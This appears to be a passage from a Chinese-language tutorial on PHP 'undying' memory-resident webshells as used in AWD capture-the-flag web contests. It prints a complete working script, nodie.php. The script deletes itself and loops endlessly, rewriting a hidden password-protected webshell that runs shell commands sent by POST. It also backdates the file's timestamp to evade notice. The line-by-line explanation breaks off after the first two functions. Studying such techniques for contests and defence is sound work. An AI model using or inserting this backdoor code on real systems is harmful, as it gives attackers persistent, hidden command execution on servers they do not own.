基本概念
PHP内存性木马即PHP不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。
通常在AWD Web题中用得较多。
Demo及原理
nodie.php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
?>
简单分析:
ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit()函数设置脚本最大执行时间。这里设置为0,